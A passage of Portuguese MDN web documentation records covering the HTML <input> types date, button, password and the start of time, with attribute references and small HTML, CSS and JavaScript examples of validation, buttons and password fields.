qualquer implementação em tempo de escrita.\n> \n> \n> \n\n### Controlando o tamanho da entrada\n\n`<input type=\"date\">` não suporta atributos de tamanho de formulário como `size`. Você poderá recorrer ao CSS para modificar o tamanho.\n\nValidação\n---------\n\nPor padrão `<input type=\"date\">` não aplica nenhuma validação de entrada de valores. As implementações da interface geralmente não deixam você informar nada que não seja uma data — o que é útil — mas você pode continuar deixando o campo vazio ou (em navegadores onde a entrada converte para o tipo `text`) informar uma data inválida (ex.: o 32 de Abril).\n\nSe você usa `min` e `max` para restringir datas disponíveis (ver Definindo data mínima e máxima), os navegadores suportados mostrarão um erro se você tentar submeter uma data fora da faixa. Contudo, você terá que verificar os resultados para ter certeza que o valor está entre estas datas, uma vez que são aplicadas apenas se o selecionador de data for totalmente suportado pelo dispositivo do usuário.\n\nAdicionalmente, você pode usar o atributo `required` para tornar o preenchimento da data obrigatório — novamente, um erro será mostrado se você tentar submeter um campo de data vazia. Isto, finalmente, deve funcionar em muitos navegadores.\n\nVamos dar uma olhada em um exemplo — aqui nós definimos datas mínima e máxima e deixamos o campo como obrigatório:\n\n\n```html\n<form>\n  <div>\n    <label for=\"festa\"\n >Escolha sua data preferida da festa (obrigatório, de 1º a 20 de\n      abril):</label\n >\n    <input\n type=\"date\"\n id=\"festa\"\n name=\"festa\"\n min=\"2017-04-01\"\n max=\"2017-04-20\"\n required />\n    <span class=\"validity\"></span>\n  </div>\n  <div>\n    <input type=\"submit\" />\n  </div>\n</form>\n```\n\n\nSe você tentar submeter o formulário com uma data imcompleta (ou com uma data fora da faixa), o navegador mostrará um erro. Tente executar o exemplo agora:\n\nAqui tem uma captura de tela que mostra o resultado se seu navegador não suporta:\n\n![](/pt-BR/docs/Web/HTML/Element/input/date/date-picker-chrome-error-message.png)\n\nAqui tem o CSS utilizado no exemplo acima. Nós usamos as propriedades CSS `:valid` e `:invalid` para estilizar a caixa de texto dependendo se o valor atual é válido ou não. Colocamos ícones num `<span>` próximo a caixa de entrada, não dentro da caixa, porque no Chrome o conteúdo gerado é colocado dentro do controle do formulário, e não seria estilzado ou mostrado eficientemente.\n\n\n```css\ndiv {\n  margin-bottom: 10px;\n  display: flex;\n  align-items: center;\n}\n\nlabel {\n  display: inline-block;\n  width: 300px;\n}\n\ninput:invalid + span:after {\n  content: \"✖\";\n  padding-left: 5px;\n}\n\ninput:valid + span:after {\n  content: \"✓\";\n  padding-left: 5px;\n}\n```\n\n\n> \n> **Warning:** **Importante**: A validação do formulário HTML não subtitui scripts que validam se a entrada de dados está em um formato apropriado. É muito fácil para alguém fazer ajustes no HTML que permitam sobrepor a validação ou removê-lo inteiramente. Também é possível simplesmente sobrepor seu HTML inteiramente e submeter os dados diretamente ao seu servidor. Se seu código server-side falhar na validação do dado que recebe pode ocorreu um desaste quando os dados forem submetidos inapropriadamente formatado (ou dado pode ser muito grande, ou é do tipo errado e assim por diante).\n> \n> \n> \n\nManipulação do suporte do navegador\n-----------------------------------\n\nComo mencionado acima, o maior problema em usar caixas de entrada de data em tempo de escrita é o suporte do navegador. Por exemplo, o selecionador de data no Firefox para Android se parece com isso:\n\n![](/pt-BR/docs/Web/HTML/Element/input/date/date-picker-fxa.png)\n\nNavegadores que não suportam graciosamente rebaixa para uma caixa de texto comum, mas criam problemas em termos de consistência da interface do usuário (o controle apresentado será diferente) e a manipulação do dado.\n\nO segundo problema é mais sério que os anterirores; como mencionamos antes, com um campo de texto de data o valor atual sempre é normalizado pelo formato `yyyy-mm-dd`. Com a caixa de texto comum, por outro lado, por padrão do navegador não há reconhecimento de qual formato a data deve ter e há muitos modos diferentes em que as pessoas escrevem datas. Por exemplo:\n\n* `ddmmyyyy`\n* `dd/mm/yyyy`\n* `mm/dd/yyyy`\n* `dd-mm-yyyy`\n* `mm-dd-yyyy`\n* `Month dd yyyy`\n\nUm jeito de contornar isso é colocar um atributo `pattern` na caixa de texto de data. Sempre que a caixa de texto de data não usá-lo, a caixa de texto devolverá um erro. Por exemplo, tente ver o que o seguinte exemplo faz num navegador sem suporte:\n\n\n```html\n<form>\n  <div>\n    <label for=\"diaa\">Informe a data do seu aniversário:</label>\n    <input\n type=\"date\"\n id=\"bday\"\n name=\"diaa\"\n required\n pattern=\"[0-9]{4}-[0-9]{2}-[0-9]{2}\" />\n    <span class=\"validity\"></span>\n  </div>\n  <div>\n    <input type=\"submit\" />\n  </div>\n</form>\n```\n\n\nSe você submetê-lo, verá que o navegador agora mostra uma mensagem de erro (e destaca a caixa de texto como inválido) se o que foi informado não combinam com o padrão `nnnn-nn-nn`, onde `n` é um número entre 0 e 9. Claro, isto não parará as pessoas de informar datas inválidas ou datas formatadas incorretamente, como `yyyy-dd-mm` (onde nós precisamos de `yyyy-mm-dd`). Então continua sendo um problema.\n```\n\ndiv {\n  margin-bottom: 10px;\n}\n\ninput:invalid + span {\n  position: relative;\n}\n\ninput:invalid + span:after {\n  content: \"✖\";\n  position: absolute;\n  right: -18px;\n}\n\ninput:valid + span {\n  position: relative;\n}\n\ninput:valid + span:after {\n  content: \"✓\";\n  position: absolute;\n  right: -18px;\n}\n```\n\n\nA melhor maneira de lidar com datas nos formulários de um modo entre navegadores no momento é obter do usuário o dia, mês e ano em controles separados (elementos `<select>` são bem populares; veja abaixo uma implementação) ou use uma biblioteca JavaScript como o selecionador de data do jQuery.\n\nAtributos\n---------\n\nBeside the attributes listed below, this element can have any of the global attributes (en-US).\n\n`mozactionhint` \nNon-standard\n\nSpecifies an \"action hint\" used to determine how to label the enter key on mobile devices with virtual keyboards. Supported values are `go`, `done`, `next`, `search`, and `send`; these automatically get mapped to the appropriate string (and are case-insensitive).\n\n`autofocus`\n\nThis Boolean attribute lets you specify that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the **autofocus** attribute, which is a Boolean. It cannot be applied if the **type** attribute is set to `hidden` (that is, you cannot automatically set focus to a hidden control).\n\n`disabled`\n\nThis Boolean attribute indicates that the form control is not available for interaction. In particular, the `click` event will not be dispatched on disabled controls. Also, a disabled control's value isn't submitted with the form.\n\n`form`\n\nThe form element that the input element is associated with (its *form owner*). The value of the attribute must be an **id** of a `<form>` (en-US) element in the same document. If this attribute is not specified, this `<input>` element must be a descendant of a `<form>` (en-US) element. This attribute enables you to place `<input>` elements anywhere within a document, not just as descendants of their form elements. An input can only be associated with one form.\n\n`formaction`\n\nThe URI of a program that processes the information submitted by the input element, if it is a submit button or image. If specified, it overrides the `action` (en-US) attribute of the element's form owner.\n\n`formenctype`\n\nIf the input element is a submit button or image, this attribute specifies the type of content that is used to submit the form to the server. Possible values are:\n\n* `application/x-www-form-urlencoded`: The default value if the attribute is not specified.\n* `multipart/form-data`: Use this value if you are using an `<input>` element with the `type` attribute set to `file`.\n* `text/plain`\n\nIf this attribute is specified, it overrides the `enctype` (en-US) attribute of the element's form owner.\n\n`formmethod`\n\nIf the input element is a submit button or image, this attribute specifies the HTTP method that the browser uses to submit the form. Possible values are:\n\n* `post`: The data from the form is included in the body of the form and is sent to the server.\n* `get`: The data from the form are appended to the **form** attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side-effects and contains only ASCII characters.\n\nIf specified, this attribute overrides the `method` (en-US) attribute of the element's form owner.\n\n`formnovalidate`\n\nIf the input element is a submit button or image, this Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the `novalidate` (en-US) attribute of the element's form owner.\n\n`formtarget`\n\nIf the input element is a submit button or image, this attribute is a name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a *browsing context* (for example, tab, window, or inline frame). If this attribute is specified, it overrides the `target` (en-US) attribute of the elements's form owner. The following keywords have special meanings:\n\n* `_self`: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.\n* `_blank`: Load the response into a new unnamed browsing context.\n* `_parent`: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as `_self`.\n* `_top`: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as `_self`.\n\n`inputmode`\n\nA hint to the browser for which keyboard to display. This attribute applies when the value of the **type** attribute is text, password, email, or url. Possible values are:\n\n* `verbatim`: Alphanumeric, non-prose content such as usernames and passwords.\n* `latin`: Latin-script input in the user's preferred language with typing aids such as text prediction enabled. For human-to-computer communication such as search boxes.\n* `latin-name`: As *latin*, but for human names.\n* `latin-prose`: As *latin*, but with more aggressive typing aids. For human-to-human communication such as instant messaging for email.\n* `full-width-latin`: As *latin-prose*, but for the user's secondary languages.\n* `kana`: Kana or romaji input, typically hiragana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.\n* `katakana`: Katakana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.\n* `numeric`: Numeric input, including keys for the digits 0 to 9, the user's preferred thousands separator character, and the character for indicating negative numbers. Intended for numeric codes, e.g. credit card numbers. For actual numbers, prefer using <input type=\"number\">\n* `tel`: Telephone input, including asterisk and pound key. Use <input type=\"tel\"> if possible instead.\n* `email`: Email input. Use <input type=\"email\"> if possible instead.\n* `url`: URL input. Use <input type=\"url\"> if possible instead.\n\n`list`\n\nIdentifies a list of pre-defined options to suggest to the user. The value must be the **id** of a `<datalist>` element in the same document. The browser displays only options that are valid values for this input element.\n\n`max`\n\nThe maximum value for this item, which must not be less than its minimum (**min** attribute) value.\n\n`min`\n\nThe minimum value for this item, which must not be greater than its maximum (**max** attribute) value.\n\n`name`\n\nThe name of the control, which is submitted with the form data.\n\n`readonly`\n\nThis Boolean attribute indicates that the user cannot modify the value of the control.\n\n`required`\n\nThis attribute specifies that the user must fill in a value before submitting a form. It cannot be used when the **type** attribute is `hidden`, `image`, or a button type (`submit`, `reset`, or `button`). The `:optional` and `:required` CSS pseudo-classes will be applied to the field as appropriate.\n\n`selectionDirection`\n\nThe direction in which selection occurred. This is \"forward\" if the selection was made from left-to-right in an LTR locale or right-to-left in an RTL locale, or \"backward\" if the selection was made in the opposite direction. This can be \"none\" if the selection direction is unknown.\n\n`spellcheck`\n\nSetting the value of this attribute to `true` indicates that the element needs to have its spelling and grammar checked. The value `default` indicates that the element is to act according to a default behavior, possibly based on the parent element's own `spellcheck` value. The value `false` indicates that the element should not be checked.\n\n`step`\n\nWorks with the **min** and **max** attributes to limit the increments at which a numeric or date-time value can be set. It can be the string `any` or a positive floating point number. If this attribute is not set to `any`, the control accepts only values at multiples of the step value greater than the minimum.\n\n`value`\n\n The initial value of the control. This attribute is optional.\n Note that when reloading the page, Gecko and IE will ignore the value specified in the HTML source, if the value was changed before the reload.\n\n\n`x-moz-errormessage` \nNon-standard\n\nThis Mozilla extension allows you to specify the error message to display when a field doesn't successfully validate.\n\nExamples\n--------\n\nTo create a widget to display a date, use:\n\n\n```html\n<input type=\"date\" />\n```\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The generic `<input>` element and the interface used to manipulate it, `HTMLInputElement`\n* Date and Time picker tutorial (en-US)\n* Bug 1283381 - Firefox bug to implement"}
{"title":"<input type=\"button\"> - HTML: Linguagem de Marcação de Hipertexto","text":"<input type=\"button\">\n=====================\n\nElementos `<input>` do tipo **`button`** são renderizados como um simples botão, que podem ser programados para controlar funcionalidades customizadas em qualquer lugar de uma página web quando for atribuído um evento (tipicamente para um evento `click (en-US)`).\n\nExperimente\n-----------\n\n**Nota:** Enquanto elementos `<input>` do tipo `button` ainda são perfeitamente válidos, os novos elementos `<button>` são agora os favoráveis meios para criar botões. Uma etiqueta de texto (label) para um `<button>` pode ser inserida entre uma tag de abertura e outra de fechamento, podendo ser incluídas até imagens.\n\n\n|  |  |\n| --- | --- |\n| **Value** | Um `DOMString` usado como uma etiqueta de botão. |\n| **Eventos** | `click (en-US)` |\n| **Atributos comuns suportados** | `type`, e\n `value` |\n| **atributos IDL** | `value` |\n| **Métodos** | Nenhum |\n\nValue\n-----\n\nSeu atributo `value` de um elemento `<input type=\"button\">` contém uma `DOMString` que é usado como uma etiqueta (label) de um botão\n\n\n```html\n<input type=\"button\" value=\"Click Me\" />\n```\n\n\nSe você não especificar um `value`, você obtém um botão vazio:\n\n\n```html\n<input type=\"button\" />\n```\n\nUsando buttons\n--------------\n\nElementos `<input type=\"button\">` não possuem comportamento padrão (seu primos, `<input type=\"submit\">` e `<input type=\"reset\">` (en-US) são usados para submeter e resetar formulários). Para que botões possam fazer algo, você tem de escrever um código em JavaScript para fazê-lo trabalhar.\n\n### Um simples botão\n\nNós iremos começar criando um simples botão com um evento `click (en-US)` que inicia nossa máquina (bem, ele altera o `value` do botão e o contéudo texto do seguinte parágrafo):\n\n\n```html\n<form>\n  <input type=\"button\" value=\"Start machine\" />\n</form>\n<p>The machine is stopped.</p>\n```\n\n\n\n```js\nconst button = document.querySelector(\"input\");\nconst paragraph = document.querySelector(\"p\");\n\nbutton.addEventListener(\"click\", updateButton);\n\nfunction updateButton() {\n  if (button.value === \"Start machine\") {\n    button.value = \"Stop machine\";\n    paragraph.textContent = \"The machine has started!\";\n  } else {\n    button.value = \"Start machine\";\n    paragraph.textContent = \"The machine is stopped.\";\n  }\n}\n```\n\n\nO script recebe uma referência para o objeto `HTMLInputElement` representando o `<input>` no DOM, salvando esta referência na variável `button`. `addEventListener()` é então usado para criar uma função que será chamada quando o evento `click (en-US)` for executado no botão.\n\n### Adicionando atalhos de teclados aos botões\n\nKeyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a button — just as you would with any `<input>` for which it makes sense — you use the `accesskey` global attribute.\n\nIn this example, `s` is specified as the access key (you'll need to press `s` plus the particular modifier keys for your browser/OS combination; see accesskey for a useful list of those).\n\n\n```html\n<form>\n  <input type=\"button\" value=\"Start machine\" accesskey=\"s\" />\n</form>\n<p>The machine is stopped.</p>\n```\n\n\n```\nconst button = document.querySelector(\"input\");\nconst paragraph = document.querySelector(\"p\");\n\nbutton.addEventListener(\"click\", updateButton);\n\nfunction updateButton() {\n  if (button.value === \"Start machine\") {\n    button.value = \"Stop machine\";\n    paragraph.textContent = \"The machine has started!\";\n  } else {\n    button.value = \"Start machine\";\n    paragraph.textContent = \"The machine is stopped.\";\n  }\n}\n```\n\n\n> \n> **Note:** The problem with the above example of course is that the user will not know what the access key is! In a real site, you'd have to provide this information in a way that doesn't intefere with the site design (for example by providing an easily accessible link that points to information on what the site accesskeys are).\n> \n> \n> \n\n### Desativando e ativando um botão\n\nTo disable a button, simply specify the `disabled` global attribute on it, like so:\n\n\n```html\n<input type=\"button\" value=\"Disable me\" disabled />\n```\n\n\nYou can enable and disable buttons at run time by simply setting `disabled` to `true` or `false`. In this example our button starts off enabled, but if you press it, it is disabled using `button.disabled = true`. A `setTimeout()` (en-US) function is then used to reset the button back to its enabled state after two seconds.\n```\n\n<input type=\"button\" value=\"Enabled\" />\n```\n\n\n```\nconst button = document.querySelector(\"input\");\n\nbutton.addEventListener(\"click\", disableButton);\n\nfunction disableButton() {\n  button.disabled = true;\n  button.value = \"Disabled\";\n  window.setTimeout(function () {\n    button.disabled = false;\n    button.value = \"Enabled\";\n  }, 2000);\n}\n```\n\n\nIf the `disabled` attribute isn't specified, the button inherits its `disabled` state from its parent element. This makes it possible to enable and disable groups of elements all at once by enclosing them in a container such as a `<fieldset>` element, and then setting `disabled` on the container.\n\nThe example below shows this in action. This is very similar to the previous example, except that the `disabled` attribute is set on the `<fieldset>` when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed.\n```\n\n<fieldset>\n  <legend>Button group</legend>\n  <input type=\"button\" value=\"Button 1\" />\n  <input type=\"button\" value=\"Button 2\" />\n  <input type=\"button\" value=\"Button 3\" />\n</fieldset>\n```\n\n\n```\nconst button = document.querySelector(\"input\");\nconst fieldset = document.querySelector(\"fieldset\");\n\nbutton.addEventListener(\"click\", disableButton);\n\nfunction disableButton() {\n  fieldset.disabled = true;\n  window.setTimeout(function () {\n    fieldset.disabled = false;\n  }, 2000);\n}\n```\n\n\n> \n> **Note:** Firefox will, unlike other browsers, by default, persist the dynamic disabled state of a `<button>` across page loads. Use the `autocomplete` attribute to control this feature.\n> \n> \n> \n\nValidação\n---------\n\nButtons não participam na validação; eles não tem um valor real para ser restringido.\n\nExemplos\n--------\n\nThe below example shows a very simple drawing app created using a `<canvas>` element and some simple CSS and JavaScript (we'll hide the CSS for brevity). The top two controls allow you to choose the color and size of the drawing pen. The button, when clicked, invokes a function that clears the canvas.\n\n\n```html\n<div class=\"toolbar\">\n  <input type=\"color\" aria-label=\"select pen color\" />\n  <input\n type=\"range\"\n min=\"2\"\n max=\"50\"\n value=\"30\"\n aria-label=\"select pen size\" /><span class=\"output\">30</span>\n  <input type=\"button\" value=\"Clear canvas\" />\n</div>\n\n<canvas class=\"myCanvas\">\n  <p>Add suitable fallback here.</p>\n</canvas>\n```\n\n\n```\nbody {\n  background: #ccc;\n  margin: 0;\n  overflow: hidden;\n}\n\n.toolbar {\n  background: #ccc;\n  width: 150px;\n  height: 75px;\n  padding: 5px;\n}\n\ninput[type=\"color\"],\ninput[type=\"button\"] {\n  width: 90%;\n  margin: 0 auto;\n  display: block;\n}\n\ninput[type=\"range\"] {\n  width: 70%;\n}\n\nspan {\n  position: relative;\n  bottom: 5px;\n}\n```\n\n\n\n```js\nvar canvas = document.querySelector(\".myCanvas\");\nvar width = (canvas.width = window.innerWidth);\nvar height = (canvas.height = window.innerHeight - 85);\nvar ctx = canvas.getContext(\"2d\");\n\nctx.fillStyle = \"rgb(0,0,0)\";\nctx.fillRect(0, 0, width, height);\n\nvar colorPicker = document.querySelector('input[type=\"color\"]');\nvar sizePicker = document.querySelector('input[type=\"range\"]');\nvar output = document.querySelector(\".output\");\nvar clearBtn = document.querySelector('input[type=\"button\"]');\n\n// covert degrees to radians\nfunction degToRad(degrees) {\n  return (degrees \\* Math.PI) / 180;\n}\n\n// update sizepicker output value\n\nsizePicker.oninput = function () {\n  output.textContent = sizePicker.value;\n};\n\n// store mouse pointer coordinates, and whether the button is pressed\nvar curX;\nvar curY;\nvar pressed = false;\n\n// update mouse pointer coordinates\ndocument.onmousemove = function (e) {\n  curX = window.Event\n    ? e.pageX\n    : e.clientX +\n      (document.documentElement.scrollLeft\n        ? document.documentElement.scrollLeft\n        : document.body.scrollLeft);\n  curY = window.Event\n    ? e.pageY\n    : e.clientY +\n      (document.documentElement.scrollTop\n        ? document.documentElement.scrollTop\n        : document.body.scrollTop);\n};\n\ncanvas.onmousedown = function () {\n  pressed = true;\n};\n\ncanvas.onmouseup = function () {\n  pressed = false;\n};\n\nclearBtn.onclick = function () {\n  ctx.fillStyle = \"rgb(0,0,0)\";\n  ctx.fillRect(0, 0, width, height);\n};\n\nfunction draw() {\n  if (pressed) {\n    ctx.fillStyle = colorPicker.value;\n    ctx.beginPath();\n    ctx.arc(\n      curX,\n      curY - 85,\n      sizePicker.value,\n      degToRad(0),\n      degToRad(360),\n      false,\n    );\n    ctx.fill();\n  }\n\n  requestAnimationFrame(draw);\n}\n\ndraw();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # button-state-(type=button) |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<input>` and the `HTMLInputElement` interface which implements it.\n* The more modern `<button>` element.\n* Compatibility of CSS properties (en-US)"}
{"title":"<input type=\"password\"> - HTML: Linguagem de Marcação de Hipertexto","text":"<input type=\"password\">\n=======================\n\nElementos `<input>` do tipo **`\"password\"`** são uma maneira do usuário digitar senhas com segurança. O elemento é mostrado como um controle de edição de texto de uma linha, no qual o texto é omitido para que não possa ser lido, geralmente substituindo cada caractere por um símbolo como o astesrisco (\"\\*\") ou um ponto (\"•\"). Esse caracter varia dependendo do agente de usuário e do OS.\n\nExperimente\n-----------\n\nOs detalhes de como o processo de inserção do texto funciona podem variar dependendo do navegador. Dispositivos móveis, por exemplo, frequentemente mostram o caractere digitado por um breve momento antes de ser ocultado, de forma que o usuário possa verificar se realmente digitou o caractere pretendido. Isso é útil devido ao tamanho reduzido das teclas e a facilidade de se pressionar a tecla errada, principalmente em teclados virtuais.\n\n> \n> **Note:** Todo formulário que envolve informações sensíveis tais como senhas (ex.: formulários de login) deve ser servido usando HTTPS. Vários navegadores implementam mecanismos que avisam sobre formulários não protegidos - veja Senhas não Protegidas.\n> \n> \n> \n\n|  |  |\n| --- | --- |\n| **Value** | Uma `DOMString` representando uma senha, ou vazia |\n| **Eventos** | `change (en-US)` e `input (en-US)` |\n| **Atributos comuns suportados** | `autocomplete`,\n `inputmode`,\n `maxlength`,\n `minlength`,\n `pattern`,\n `placeholder`,\n `readonly`,\n `required`, e\n `size` |\n| **Atributos IDL** | `selectionStart`, `selectionEnd`,\n `selectionDirection`, e `value` |\n| **Métodos** | `select()`,\n `setRangeText()` (en-US),\n e\n `setSelectionRange()` |\n\nValor\n-----\n\nO atributo `value` contém uma `DOMString` cujo valor é o conteúdo atual do controle de edição de texto usado para a inserção da senha. Se o usuário ainda não digitou nada, esse valor é uma string vazia (`\"\"`). Se a propriedade `required` for especificada, então a caixa de edição de senha precisa conter um valor que não seja uma string vazia para ser válida.\n\nSe o atributo `pattern` for especificado, o conteúdo de um controle `\"password\"` só é considerado válido se o valor passar na validação; veja Validação para mais informações.\n\n> \n> **Note:** Os caracteres de quebra de linha *line feed* (U+000A) e *carriage return* (U+000D) não são permitidos em valores de `\"password\"`. Quando o valor de um campo de senha é definido, os caracteres acima são removidos do valor.\n> \n> \n> \n\nUsando campos de senha\n----------------------\n\nCaixas de inserção de senha funcionam assim como outras caixas de inserção de texto; a principal diferença é que o conteúdo é ocultado para impedir que pessoas que estejam próximas ao usuário leiam a senha.\n\n### Um campo de senha simples\n\nAqui vemos o mais básico dos campos de senha, juntamente com um rótulo para ele usando o elemento `<label>`.\n\n\n```html\n<label for=\"senhaUsuario\">Senha: </label>\n<input id=\"senhaUsuario\" type=\"password\" />\n```\n\n### Permitindo preenchimento automático\n\nPara permitir que o gerenciador de senhas do usuário digite a senha automaticamente, especifique o atributo `autocomplete`. Para senhas, o valor dele deve ser geralmente um dos seguintes:\n\n`\"on\"`\n\nPermite que o navegador ou um gerenciador de senhas preencha automaticamente o campo de senha. Esse valor não é tão informativo quanto `\"current-password\"` ou `\"new-password\"`.\n\n`\"off\"`\n\nNão permite que o navegador ou gerenciador de senhas preencha automaticamente o campo de senha. Vale observar que alguns softwares ignoram esse valor, já que ele costuma ser prejudicial para a capacidade dos usuários de manter senhas seguras.\n\n`\"current-password\"`\n\nPermite que o navegador ou gerenciador de senhas preencha automaticamente o campo de senha. Esse valor fornece mais informações do que `\"on\"`, já que ele permite que o navegador ou gerenciador de senhas digite automaticamente a senha atualmente conhecida do site no campo, mas não que sugira uma nova.\n\n`\"new-password\"`\n\nPermite que o navegador ou gerenciador de senhas digite automaticamente uma nova senha para o site. Esse valor é usado em formulários de \"mudar senha\" e de \"novo usuário\", no campo que pede por uma nova senha. A nova senha pode ser gerada de várias maneiras, dependendo do gerenciador de senhas usado. Ele pode simplificar o preenchimento de uma sugestão de nova senha, ou mesmo pode mostrar ao usuário uma interface para criar uma.\n\n\n```html\n<label for=\"senhaUsuario\">Senha:</label>\n<input id=\"senhaUsuario\" type=\"password\" autocomplete=\"current-password\" />\n```\n\n### Tornando a senha obrigatória\n\nPara dizer ao navegador do usuário que o campo de senha precisa ter um valor válido antes do formulário ser enviado, basta adicionar o atributo booleano `required`.\n\n\n```html\n<label for=\"senhaUsuario\">Senha: </label>\n<input id=\"senhaUsuario\" type=\"password\" required />\n<input type=\"submit\" value=\"Enviar\" />\n```\n\n### Especificando um modo de inserção\n\nSe as suas regras de sintaxe recomendadas (ou obrigatórias) para a senha poderiam obter vantagem de uma interface de digitação diferente da de um teclado padrão, você pode usar o atributo `inputmode` para pedir por uma interface específica. O caso de uso mais óbvio para isso é o de a senha precisar ser numérica (como um PIN). Dispositivos móveis com teclados virtuais, por exemplo, podem optar por mostrar um teclado numérico ao invés de um teclado completo, facilitando a digitação da senha.\n\n\n```html\n<label for=\"pin\">PIN: </label>\n<input id=\"pin\" type=\"password\" inputmode=\"numeric\" />\n```\n\n### Definindo restrições de tamanho\n\nComo de praxe, você pode usar os atributos `minlength` e `maxlength` para estabelecer os tamanhos mínimo e máximo aceitáveis para a senha. Este exemplo continua o anterior, agora especificando que o PIN do usuário deva ter pelo menos quatro dígitos e não passe de oito dígitos. O atributo `size` é usado para garantir que o campo de senha aceite no máximo oito caracteres.\n\n\n```html\n<label for=\"pin\">PIN:</label>\n<input\n id=\"pin\"\n type=\"password\"\n inputmode=\"numeric\"\n minlength=\"4\"\n maxlength=\"8\"\n size=\"8\" />\n```\n\n### Selecionando o texto\n\nAssim como em outros tipos de campos de texto, você pode usar o método `select()` para selecionar todo o texto no campo de senha.\n\n#### HTML\n\n\n```html\n<label for=\"senhaUsuario\">Senha: </label>\n<input id=\"senhaUsuario\" type=\"password\" size=\"12\" />\n<button id=\"selecionarTudo\">Selecionar tudo</button>\n```\n\n\n#### JavaScript\n\n\n```js\ndocument.getElementById(\"selecionarTudo\").onclick = function () {\n  document.getElementById(\"senhaUsuario\").select();\n};\n```\n\n\n#### Resultado\n\nVocê também pode usar `selectionStart` e `selectionEnd` para obter (ou definir) o intervalo dos caracteres no campo que estão selecionados no momento, e `selectionDirection` para saber em qual direção a seleção ocorreu (ou será estendida, dependendo da sua plataforma; veja a documentação dela para saber mais). Porém, como o texto está oculto, a utilidade desses métodos fica reduzida.\n\nValidação\n---------\n\nSe seu aplicativo tiver restrições de conjuntos de caracteres ou qualquer outro requisito para o conteúdo da senha digitada, você pode usar o atributo `pattern` para estabelecer que uma expressão regular seja usada para garantir automaticamente que as senhas cumpram com esses requisitos.\n\nNeste exemplo, são válidos apenas valores consistindo de no mínimo quatro e no máximo oito dígitos hexadecimais.\n\n\n```html\n<label for=\"hexId\">Hex ID: </label>\n<input\n id=\"hexId\"\n type=\"password\"\n pattern=\"[0-9a-fA-F]{4,8}\"\n title=\"Digite um ID consistindo de 4-8 dígitos hexadecimais\" />\n```\n\n\n`disabled`\n\nEsse atributo booleano indica que o campo de senha não está disponível para interação. Além disso, os valores dos campos marcados com ele não são enviados com o formulário.\n\nExemplos\n--------\n\n### Pedindo por um CPF\n\nEste exemplo aceita apenas valores que correspondam ao formato de um Cadastro de Pessoa Física. Este número, usado para fins de cobrança e identificação, segue o formato \"123.456.789-09\".\n\n#### HTML\n\n\n```html\n<label for=\"cpf\">CPF:</label>\n<input\n type=\"password\"\n id=\"cpf\"\n inputmode=\"number\"\n minlength=\"11\"\n maxlength=\"11\"\n pattern=\"^[0-9]{3}.?[0-9]{3}.?[0-9]{3}-?[0-9]{2}\"\n required\n autocomplete=\"off\" />\n<br />\n<label for=\"cpf\">Valor:</label>\n<span id=\"atual\"></span>\n```\n\n\nEle usa um padrão `pattern` que limita o valor digitado a strings que representem números de CPF no formato válido. O padrão aceita tanto valores separados por pontos (\".\") e hífen (\"-\") como apenas os números.\n\nO modo de inserção em `inputmode` está definido como `\"number\"` para indicar a dispositivos com teclados virtuais que eles devem mostrar um teclado numérico para uma digitação mais fácil. Os atributos `minlength` e `maxlength` foram definidos como 11 e 14, respectivamente, de forma a aceitar valores com no mínimo 11 e no máximo 14 caracteres (o primeiro para valores sem os caracteres separadores e o último para valores com esses caracteres). O atributo `required` é usado para indicar que este campo precisa ter um valor válido. Por fim, `autocomplete` foi definido como `\"off\"` para evitar que gerenciadores de senhas tentem usar ou definir o valor dele, já que ele não é nem mesmo uma senha.\n\nObviamente, apenas essa expressão regular não garante um CPF realmente válido, já que a validação deste tipo de número exige cálculos adicionais. Confira este artigo para ver exatamente como garantir um número de CPF válido.\n\n#### JavaScript\n\nA seguir temos um código simples para mostrar o CPF digitado na tela para que você possa vê-lo. É claro que isso vai contra o propósito de um campo de senha, mas ajuda na hora de experimentar o padrão `pattern`.\n\n\n```js\nvar cpf = document.getElementById(\"cpf\");\nvar atual = document.getElementById(\"atual\");\n\ncpf.oninput = function (event) {\n  atual.innerHTML = cpf.value;\n};\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # password-state-(type=password) |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"<input type=\"time\"> - HTML: Linguagem de Marcação de Hipertexto","text":"<input type=\"time\">\n===================\n\nElementos `<input>` do tipo **`time`** (hora) criam campos de inserção que permitem que o usuário digite horários facilmente (horas e minutos e, opcionalmente, segundos).\n\nA interface de usuário deste tipo de campo varia de navegador para navegador. A maioria dos navegadores modernos é compatível com ele exceto pelo Safari, o único grande navegador que ainda não o implementou; no Safari (e em qualquer outro navegador que ainda não suporte `<time>`), ele regride para `<input type=\"text\">` (en-US).\n\nExperimente\n-----------\n\nAparência\n---------\n\n### Chrome e Opera\n\nNo Chrome/Opera, o campo de `time` é simples, com espaços onde o usuário pode inserir horas e minutos (no formato 24 horas), além de setas para cima e para baixo que servem para, respectivamente, incrementar e decrementar o componente atualmente selecionado. Um botão \"X\" também é apresentado para limpar o conteúdo do campo.\n\n![](/pt-BR/docs/Web/HTML/Element/input/time/chrome-time.png)\n\n### Firefox\n\nO campo de `time` do Firefox é bem parecido com o do Chrome, exceto pela ausência das setas para cima e para baixo e por estar no formato 12 horas (com um espaço adicional para inserir AM ou PM).\n\n![](/pt-BR/docs/Web/HTML/Element/input/time/firefox-time.png)\n\n### Edge\n\nO campo de `time` do Edge é melhor elaborado, abrindo um seletor de hora e minuto com 